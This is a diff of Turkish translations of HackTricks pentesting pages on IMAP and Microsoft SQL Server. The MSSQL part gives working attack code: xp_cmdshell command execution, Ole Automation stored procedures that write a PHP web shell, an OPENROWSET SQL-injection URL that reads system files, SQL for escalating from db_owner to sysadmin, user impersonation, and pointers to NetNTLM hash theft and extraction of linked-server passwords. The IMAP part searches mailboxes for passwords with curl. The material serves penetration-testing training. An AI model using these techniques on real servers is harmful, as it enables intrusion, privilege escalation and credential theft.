@ -50,7 +50,7 @@ root@kali: telnet example.com 143
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA= >> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
+ TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA + TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA
``` ```
Veya bunu **nmap** eklentisi `imap-ntlm-info.nse` ile **otomatize** edin Veya bunu **nmap** eklentisi `imap-ntlm-info.nse` ile **otomatikleştirin**
### [IMAP Bruteforce](../generic-methodologies-and-resources/brute-force.md#imap) ### [IMAP Bruteforce](../generic-methodologies-and-resources/brute-force.md#imap)
@ -123,13 +123,13 @@ curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass
``` ```
Bu aramanın sonucu bir mesaj dizini listesidir. Bu aramanın sonucu bir mesaj dizini listesidir.
Ayrıca daha karmaşık arama terimleri de sağlanabilir. Örneğin, şifre içeren taslakları aramak: Daha karmaşık arama terimleri de sağlanabilir. Örneğin, şifre içeren taslakları aramak:
```bash ```bash
curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass
``` ```
Arama terimlerinin mümkün olan güzel bir genel bakışı [burada](https://www.atmail.com/blog/imap-commands/) bulunmaktadır. Arama terimlerinin mümkün olan güzel bir genel bakışı [burada](https://www.atmail.com/blog/imap-commands/) bulunmaktadır.
3. Bir ileti indirme (imap komutu `SELECT Drafts` ve ardından `FETCH 1 BODY[]`) 3. Bir ileti indirme (imap komutu `SELECT Taslak` ve ardından `FETCH 1 BODY[]`)
```bash ```bash
curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass curl -k 'imaps://1.2.3.4/Drafts;MAILINDEX=1' --user user:pass
``` ```
@ -140,11 +140,11 @@ Ayrıca mesajlara erişmek için `UID` (benzersiz kimlik) kullanmak da mümkünd
curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass
curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass
``` ```
Ayrıca, bir iletiğin sadece belirli bölümlerini indirmek mümkündür, örneğin ilk 5 iletiğin konusunu ve göndericisini indirmek (-v konusu ve göndericiyi görmek için gereklidir): Ayrıca, bir iletiğin sadece belirli bölümlerini indirmek mümkündür, örneğin ilk 5 iletiğin konusu ve göndericisi (konuyu ve göndericiyi görmek için `-v` gereklidir):
```bash ```bash
$ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<' $ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<'
``` ```
Yine de, muhtemelen sadece küçük bir for döngüsü yazmak daha temiz olacaktır: Yine de, muhtemelen sadece küçük bir for döngüsü yazmak daha temizdir:
```bash ```bash
for m in {1..5}; do for m in {1..5}; do
echo $m echo $m
@ -158,7 +158,7 @@ done
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -194,14 +194,14 @@ Command: msfconsole -q -x 'use auxiliary/scanner/imap/imap_version; set RHOSTS {
``` ```
<details> <details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
</details> </details>

View file

@ -7,16 +7,16 @@
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini keşfedin**](https://peass.creator-spring.com) * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -26,7 +26,7 @@ HackTricks'ı desteklemenin diğer yolları:
[wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server)'dan: [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server)'dan:
> **Microsoft SQL Server**, Microsoft tarafından geliştirilen bir **ilişkisel veritabanı** yönetim sistemidir. Bir veritabanı sunucusu olarak, diğer yazılım uygulamaları tarafından istendiğinde veri depolama ve geri alma işlevini yerine getiren bir yazılım ürünüdür - bu uygulamalar ya aynı bilgisayarda ya da ağ üzerinde başka bir bilgisayarda (İnternet dahil) çalışabilir. > **Microsoft SQL Server**, Microsoft tarafından geliştirilen bir **ilişkisel veritabanı** yönetim sistemidir. Bir veritabanı sunucusu olarak, diğer yazılım uygulamaları tarafından istendiğinde veri depolama ve geri alma işlevini yerine getiren bir yazılım ürünüdür - bu uygulamalar ya aynı bilgisayarda ya da ağ üzerinde başka bir bilgisayarda (İnternet dahil) çalışabilir.\
**Varsayılan port:** 1433 **Varsayılan port:** 1433
``` ```
@ -36,8 +36,8 @@ HackTricks'ı desteklemenin diğer yolları:
* **master Veritabanı**: Bu veritabanı, bir SQL Server örneği için tüm sistem düzeyi ayrıntıları yakalar ve kritiktir. * **master Veritabanı**: Bu veritabanı, bir SQL Server örneği için tüm sistem düzeyi ayrıntıları yakalar ve kritiktir.
* **msdb Veritabanı**: SQL Server Agent, uyarılar ve işler için zamanlamayı yönetmek için bu veritabanını kullanır. * **msdb Veritabanı**: SQL Server Agent, uyarılar ve işler için zamanlamayı yönetmek için bu veritabanını kullanır.
* **model Veritabanı**: SQL Server örneğinde her yeni veritabanı için bir plan olarak hareket eder, burada boyut, karşılaştırma, kurtarma modeli ve daha fazlası gibi herhangi bir değişiklik, yeni oluşturulan veritabanlarında yansıtılır. * **model Veritabanı**: SQL Server örneğindeki her yeni veritabanı için bir taslak olarak hareket eder, burada boyut, karşılaştırma, kurtarma modeli ve daha fazlası gibi herhangi bir değişiklik, yeni oluşturulan veritabanlarında yansıtılır.
* **Resource Veritabanı**: SQL Server ile birlikte gelen sistem nesnelerini barındıran salt okunur bir veritabanıdır. Bu nesneler, Fiziksel olarak Resource veritabanında depolanmış olsalar da, her veritabanının sys şemasında mantıksal olarak sunulur. * **Resource Veritabanı**: SQL Server ile birlikte gelen sistem nesnelerini barındıran salt okunur bir veritabanıdır. Bu nesneler, Fiziksel olarak Resource veritabanında depolanırken, her veritabanının sys şemasında mantıksal olarak sunulur.
* **tempdb Veritabanı**: Geçici nesneler veya ara sonuç kümeleri için geçici bir depolama alanı olarak hizmet verir. * **tempdb Veritabanı**: Geçici nesneler veya ara sonuç kümeleri için geçici bir depolama alanı olarak hizmet verir.
@ -51,7 +51,7 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config
msf> use auxiliary/scanner/mssql/mssql_ping msf> use auxiliary/scanner/mssql/mssql_ping
``` ```
{% hint style="info" %} {% hint style="info" %}
Eğer **kimlik bilgileriniz yoksa**, onları tahmin etmeyi deneyebilirsiniz. Nmap veya metasploit kullanabilirsiniz. Dikkatli olun, var olan bir kullanıcı adını kullanarak birkaç kez giriş yapmada başarısız olursanız, hesapları **bloklatabilirsiniz**. Eğer **kimlik bilgileriniz yoksa**, onları tahmin etmeyi deneyebilirsiniz. Nmap veya metasploit'i kullanabilirsiniz. Dikkatli olun, var olan bir kullanıcı adını kullanarak birkaç kez giriş yapmada başarısız olursanız, hesapları **bloklatabilirsiniz**.
{% endhint %} {% endhint %}
#### Metasploit (kimlik bilgileri gereklidir) #### Metasploit (kimlik bilgileri gereklidir)
@ -88,7 +88,7 @@ msf> use windows/manage/mssql_local_auth_bypass
``` ```
### [**Kaba kuvvet**](../../generic-methodologies-and-resources/brute-force.md#sql-server) ### [**Kaba kuvvet**](../../generic-methodologies-and-resources/brute-force.md#sql-server)
### El ile Numaralandırma ### Manuel Numaralandırma
#### Giriş #### Giriş
```bash ```bash
@ -105,7 +105,7 @@ sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
1> select 1; 1> select 1;
2> go 2> go
``` ```
#### Yaygın Numaralandırma #### Ortak Numaralandırma
```sql ```sql
# Get version # Get version
select @@version; select @@version;
@ -153,16 +153,16 @@ SELECT * FROM sysusers
``` ```
#### İzinleri Al #### İzinleri Al
1. **Korunabilir:** SQL Server tarafından erişim kontrolü için yönetilen kaynaklar olarak tanımlanır. Bunlar şu kategorilere ayrılır: 1. **Güvenlik:** SQL Server tarafından yönetilen erişim kontrolü için tanımlanan kaynaklar olarak tanımlanır. Bunlar şu şekilde kategorilere ayrılır:
- **Sunucu** Örnekler arasında veritabanları, girişler, uç noktalar, kullanılabilirlik grupları ve sunucu rolleri bulunur. - **Sunucu** Örnekler arasında veritabanları, girişler, uç noktalar, kullanılabilirlik grupları ve sunucu rolleri bulunur.
- **Veritabanı** Örnekler veritabanı rolü, uygulama rolleri, şema, sertifikalar, tam metin katalogları ve kullanıcıları kapsar. - **Veritabanı** Örnekler veritabanı rolü, uygulama rolleri, şema, sertifikalar, tam metin katalogları ve kullanıcıları kapsar.
- **Şema** Tabloları, görünümleri, prosedürleri, işlevleri, sinonimleri vb. içerir. - **Şema** Tabloları, görünümleri, prosedürleri, işlevleri, sinonimleri vb. içerir.
2. **İzin:** SQL Server korunabilirleri ile ilişkilendirilen izinler arasında ALTER, CONTROL ve CREATE gibi izinler bir prensibe verilebilir. İzinlerin yönetimi iki seviyede gerçekleşir: 2. **İzin:** SQL Server güvenlik unsurlarıyla ilişkilendirilen izinler arasında ALTER, CONTROL ve CREATE gibi izinler bir prensibe verilebilir. İzinlerin yönetimi iki seviyede gerçekleşir:
- **Sunucu Düzeyi** girişler kullanılarak - **Sunucu Düzeyi** girişler kullanılarak
- **Veritabanı Düzeyi** kullanıcılar kullanılarak - **Veritabanı Düzeyi** kullanıcılar kullanılarak
3. **Prensipal:** Bu terim, bir korunabilir için izin verilen varlığı ifade eder. Prensipaller genellikle girişler ve veritabanı kullanıcılarını içerir. Korunabilirlerin erişimine kontrol, izinlerin verilmesi veya reddedilmesi veya erişim haklarına sahip roller içeren girişlerin ve kullanıcıların dahil edilmesi yoluyla gerçekleştirilir. 3. **Prensipal:** Bu terim, bir güvenliğe izin verilen varlık anlamına gelir. Prensipaller genellikle girişler ve veritabanı kullanıcılarını içerir. Güvenliklere erişim kontrolü, izinlerin verilmesi veya reddedilmesi veya girişlerin ve kullanıcıların erişim haklarına sahip rollerde bulunması yoluyla gerçekleştirilir.
```sql ```sql
# Show all different securables names # Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT); SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
@ -184,10 +184,10 @@ EXEC sp_helprotect 'xp_cmdshell'
``` ```
## İpuçları ## İpuçları
### İşletim Sistemi Komutları Çalıştırma ### İşletim Sistemi Komutları Yürütme
{% hint style="danger" %} {% hint style="danger" %}
Komutları çalıştırabilmek için **`xp_cmdshell`**'in **etkin** olması yeterli değildir, aynı zamanda **`xp_cmdshell` depolanan prosedüründe **EXECUTE iznine** sahip olmak da gereklidir. Kimlerin (sysadminler hariç) **`xp_cmdshell`**'i kullanabileceğini alabilirsiniz: Komutları yürütebilmek için **`xp_cmdshell`**'in **etkin** olması yeterli değildir, aynı zamanda **`xp_cmdshell` depolanan prosedüründe EXECUTE iznine sahip olmak** da gereklidir. Kimlerin (sysadmin'ler hariç) **`xp_cmdshell`**'i kullanabileceğini alabilirsiniz:
```sql ```sql
Use master Use master
EXEC sp_helprotect 'xp_cmdshell' EXEC sp_helprotect 'xp_cmdshell'
@ -244,7 +244,7 @@ EXEC sp_helprotect 'xp_fileexist';
``` ```
{% endhint %} {% endhint %}
**responder** veya **Inveigh** gibi araçlar kullanarak **NetNTLM hash'ini çalmak** mümkündür.\ **Responder** veya **Inveigh** gibi araçlar kullanarak **NetNTLM hash'ini çalmak** mümkündür.\
Bu araçları nasıl kullanacağınızı aşağıdaki bağlantıda görebilirsiniz: Bu araçları nasıl kullanacağınızı aşağıdaki bağlantıda görebilirsiniz:
{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %} {% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %}
@ -261,7 +261,7 @@ Bu özelliği nasıl kötüye kullanacağınız hakkında daha fazla bilgi için
### **Dosya Yazma** ### **Dosya Yazma**
`MSSQL` kullanarak dosya yazmak için [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option) özelliğini etkinleştirmemiz gerekmektedir, bu da yönetici ayrıcalıklarını gerektirir, ardından dosyayı oluşturmak için bazı depolanan prosedürleri çalıştırmamız gerekmektedir: `MSSQL` kullanarak dosya yazabilmek için, yönetici ayrıcalıklarına sahip olmamız gerekmektedir ve ardından dosyayı oluşturmak için bazı depolanan prosedürleri çalıştırmamız gerekmektedir:
```bash ```bash
# Enable Ole Automation Procedures # Enable Ole Automation Procedures
sp_configure 'show advanced options', 1 sp_configure 'show advanced options', 1
@ -279,7 +279,7 @@ EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"
EXECUTE sp_OADestroy @FileID EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE EXECUTE sp_OADestroy @OLE
``` ```
### **OPENROWSET ile Dosya Okuma** ### **OPENROWSET ile dosya okuma**
Varsayılan olarak, `MSSQL`, hesabın okuma erişimine sahip olduğu işletim sistemindeki herhangi bir dosyayı okumaya izin verir. Aşağıdaki SQL sorgusunu kullanabiliriz: Varsayılan olarak, `MSSQL`, hesabın okuma erişimine sahip olduğu işletim sistemindeki herhangi bir dosyayı okumaya izin verir. Aşağıdaki SQL sorgusunu kullanabiliriz:
```sql ```sql
@ -294,15 +294,15 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTE
``` ```
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))-- https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
``` ```
### **RCE/Dosyaları okuma betiklerini yürütme (Python ve R)** ### **Uzaktan Kod Çalıştırma (RCE)/Dosyaları Okuma (Python ve R)**
MSSQL, **Python ve/veya R'de betikleri yürütmenize izin verebilir**. Bu kodlar, komutları yürütmek için **xp\_cmdshell** kullanan kullanıcıdan **farklı bir kullanıcı** tarafından yürütülecektir. MSSQL, **Python ve/veya R'de kodları çalıştırmanıza izin verebilir**. Bu kodlar, komutları çalıştırmak için **xp\_cmdshell** kullanan kullanıcıdan **farklı bir kullanıcı** tarafından çalıştırılacaktır.
**Çalışmayan** bir **'R'** _"Merhaba Dünya!"_ **yürütmeye çalışma örneği**: Örnek olarak **'R'** ile _"Hellow World!"_ çalıştırmaya çalışmak **çalışmıyor**:
![](<../../.gitbook/assets/image (185) (1).png>) ![](<../../.gitbook/assets/image (185) (1).png>)
Çeşitli işlemleri gerçekleştirmek için yapılandırılmış python kullanan bir örnek: Çeşitli işlemleri gerçekleştirmek için yapılandırılmış python kullanarak örnek:
```sql ```sql
# Print the user being used (and execute commands) # Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())' EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
@ -316,9 +316,9 @@ print(sys.version)
' '
GO GO
``` ```
### Registry'yi Oku ### Registry'i Oku
Microsoft SQL Server, **birden fazla genişletilmiş depolama prosedürü** sağlar, bu prosedürler sayesinde sadece ağ ile etkileşimde bulunmakla kalmaz, aynı zamanda dosya sistemi ve hatta [**Windows Registry**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server)** ile de etkileşimde bulunabilirsiniz:** Microsoft SQL Server, **çoklu genişletilmiş depolama prosedürleri** sağlar ve bu prosedürler sayesinde sadece ağ ile etkileşime geçmekle kalmaz, aynı zamanda dosya sistemi ve hatta [**Windows Registry**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server)** ile de etkileşimde bulunabilirsiniz:**
| **Normal** | **Örnek Duyarlı** | | **Normal** | **Örnek Duyarlı** |
| ---------------------------- | -------------------------------------- | | ---------------------------- | -------------------------------------- |
@ -345,19 +345,19 @@ EXEC sp_helprotect 'xp_regwrite';
### MSSQL Kullanıcı Tanımlı Fonksiyon ile RCE - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a> ### MSSQL Kullanıcı Tanımlı Fonksiyon ile RCE - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
Özel fonksiyonlarla birlikte **.NET dll'sini MSSQL içinde yüklemek mümkündür**. Bunun için **`dbo` erişimi gerektirir**, bu yüzden veritabanına bağlantı **`sa` veya Yönetici rolü olarak** olmalıdır. Özel fonksiyonlarla bir .NET dll'sini MSSQL içinde yüklemek mümkündür. Bunun için **`dbo` erişimi gerektirir**, bu yüzden veritabanına bağlantı **`sa` veya Yönetici rolüyle** olmalıdır.
Bir örnek görmek için [**bu bağlantıyı takip edin**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp). Örneği görmek için [**bu bağlantıyı takip edin**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp).
### RCE için Diğer Yöntemler ### RCE için Diğer Yöntemler
Komut yürütme elde etmek için diğer yöntemler de vardır, örneğin [genişletilmiş depolanan prosedürler eklemek](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assembly'ler](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent İşleri](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) ve [harici betikler](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql). Komut yürütme elde etmek için diğer yöntemler de vardır, örneğin [genişletilmiş depolanan prosedürler](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assembly'ler](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent İşleri](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) ve [harici betikler](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
## MSSQL Yetki Yükseltme ## MSSQL Yetki Yükseltme
### db\_owner'dan sysadmin'e ### db\_owner'dan sysadmin'e
Eğer bir **normal kullanıcıya** bir **`db_owner`** rolü verilirse ve bu rolü **bir yöneticiye ait** olan bir veritabanına (örneğin **`sa`**) sahipse ve bu veritabanı **`trustworthy`** olarak yapılandırılmışsa, bu kullanıcı bu ayrıcalıkları **yetki yükseltme** için kötüye kullanabilir çünkü orada oluşturulan **depolanmış prosedürler** sahibi olarak (**yönetici**) **çalıştırılabilir**. Eğer bir **normal kullanıcıya** bir **`db_owner`** rolü verilirse ve bu rolü **bir yöneticiye ait** olan bir veritabanında (örneğin **`sa`**) yapılandırılmışsa, bu kullanıcı bu ayrıcalıkları **yetki yükseltme** için kötüye kullanabilir çünkü orada oluşturulan **depolanan prosedürler** sahibi (**yönetici**) olarak **çalıştırılabilir**.
```sql ```sql
# Get owners of databases # Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases SELECT suser_sname(owner_sid) FROM sys.databases
@ -391,7 +391,7 @@ EXEC sp_elevate_me
--3. Verify your user is a sysadmin --3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin') SELECT is_srvrolemember('sysadmin')
``` ```
Şu **metasploit** modülünü kullanabilirsiniz: **Metasploit** modülünü kullanabilirsiniz:
```bash ```bash
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
``` ```
@ -403,7 +403,7 @@ Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlSer
``` ```
### Diğer kullanıcıların taklit edilmesi ### Diğer kullanıcıların taklit edilmesi
SQL Server'ın **`IMPERSONATE`** adında özel bir izni vardır. Bu izin, **yürütülen kullanıcının başka bir kullanıcının izinlerini** veya oturumu sıfırlanana veya oturum sona erene kadar almasına olanak tanır. SQL Server'ın **`IMPERSONATE`** adında özel bir izni vardır. Bu izin, **yürütülen kullanıcının başka bir kullanıcının izinlerini veya oturum açma bilgilerini almasına izin verir** ve bu bağlam sıfırlanana veya oturum sona erene kadar devam eder.
```sql ```sql
# Find users you can impersonate # Find users you can impersonate
SELECT distinct b.name SELECT distinct b.name
@ -419,9 +419,9 @@ SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin') SELECT IS_SRVROLEMEMBER('sysadmin')
``` ```
{% hint style="info" %} {% hint style="info" %}
Eğer bir kullanıcıyı taklit edebilirseniz, o kişinin sysadmin olmasa bile diğer veritabanlarına veya bağlı sunuculara erişiminin olup olmadığını kontrol etmelisiniz. Eğer bir kullanıcıyı taklit edebilirseniz, o kişinin sysadmin olmasa bile diğer veritabanlarına veya bağlı sunuculara erişip erişemediğini kontrol etmelisiniz.
Unutmayın ki bir kez sysadmin olduğunuzda herhangi bir başkasını taklit edebilirsiniz: Sysadmin olduğunuzda herhangi bir başkasını taklit edebileceğinizi unutmayın:
{% endhint %} {% endhint %}
```sql ```sql
-- Impersonate RegUser -- Impersonate RegUser
@ -446,9 +446,9 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/) [https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
## SQL Server Bağlantılı Sunuculardan Şifrelerin Çıkarılması ## SQL Server Bağlantılı Sunuculardan Şifreleri Çıkarma
Bir saldırgan, SQL Server Bağlantılı Sunucuların şifrelerini SQL Örneklerinden çıkarabilir ve bunlarıık metin olarak alarak hedef üzerinde daha büyük bir hak elde etmek için kullanabilir. Bir saldırgan, SQL Server Bağlantılı Sunucuların şifrelerini SQL Örneklerinden çıkarabilir ve bunlarıık metin olarak alarak hedef üzerinde daha büyük bir hak elde etmek için kullanabilir.
Bağlantılı Sunucular için depolanan şifreleri çıkarmak ve şifreleri çözmek için kullanılan betik [burada bulunabilir](https://www.richardswinbank.net/admin/extract_linked_server_passwords) Bağlantılı Sunucular için depolanan şifreleri çıkarmak ve şifreleri çözmek için kullanılan betik [burada](https://www.richardswinbank.net/admin/extract_linked_server_passwords) bulunabilir.
Bu saldırının çalışabilmesi için bazı gereksinimler ve yapılandırmalar yapılmalıdır. Bu saldırının çalışabilmesi için bazı gereksinimler ve yapılandırmalar yapılmalıdır.
Öncelikle, makinede Yönetici haklarına sahip olmalısınız veya SQL Server Yapılandırmalarını yönetme yeteneğine sahip olmalısınız. Öncelikle, makinede Yönetici haklarına sahip olmalısınız veya SQL Server Yapılandırmalarını yönetme yeteneğine sahip olmalısınız.
@ -458,11 +458,11 @@ Bu saldırının çalışabilmesi için bazı gereksinimler ve yapılandırmalar
2. Bir Başlangıç parametresi ekleyin, bu durumda eklenen bir izleme bayrağı olacaktır, yani -T7806. 2. Bir Başlangıç parametresi ekleyin, bu durumda eklenen bir izleme bayrağı olacaktır, yani -T7806.
3. Uzak yönetici bağlantısını etkinleştirin. 3. Uzak yönetici bağlantısını etkinleştirin.
Bu yapılandırmaları otomatikleştirmek için [bu depo ](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) gerekli betiklere sahiptir. Bu yapılandırmaları otomatikleştirmek için [bu depo](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) gerekli betiklere sahiptir.
Yapılandırma adımlarının her biri için bir PowerShell betiği yanı sıra, depoda yapılandırma betiklerini ve şifrelerin çıkarılması ve çözülmesini birleştiren tam bir betik de bulunmaktadır. Yapılandırma adımlarının her biri için bir PowerShell betiği yanı sıra, depoda yapılandırma betiklerini ve şifrelerin çıkarılması ve çözülmesini birleştiren tam bir betik de bulunmaktadır.
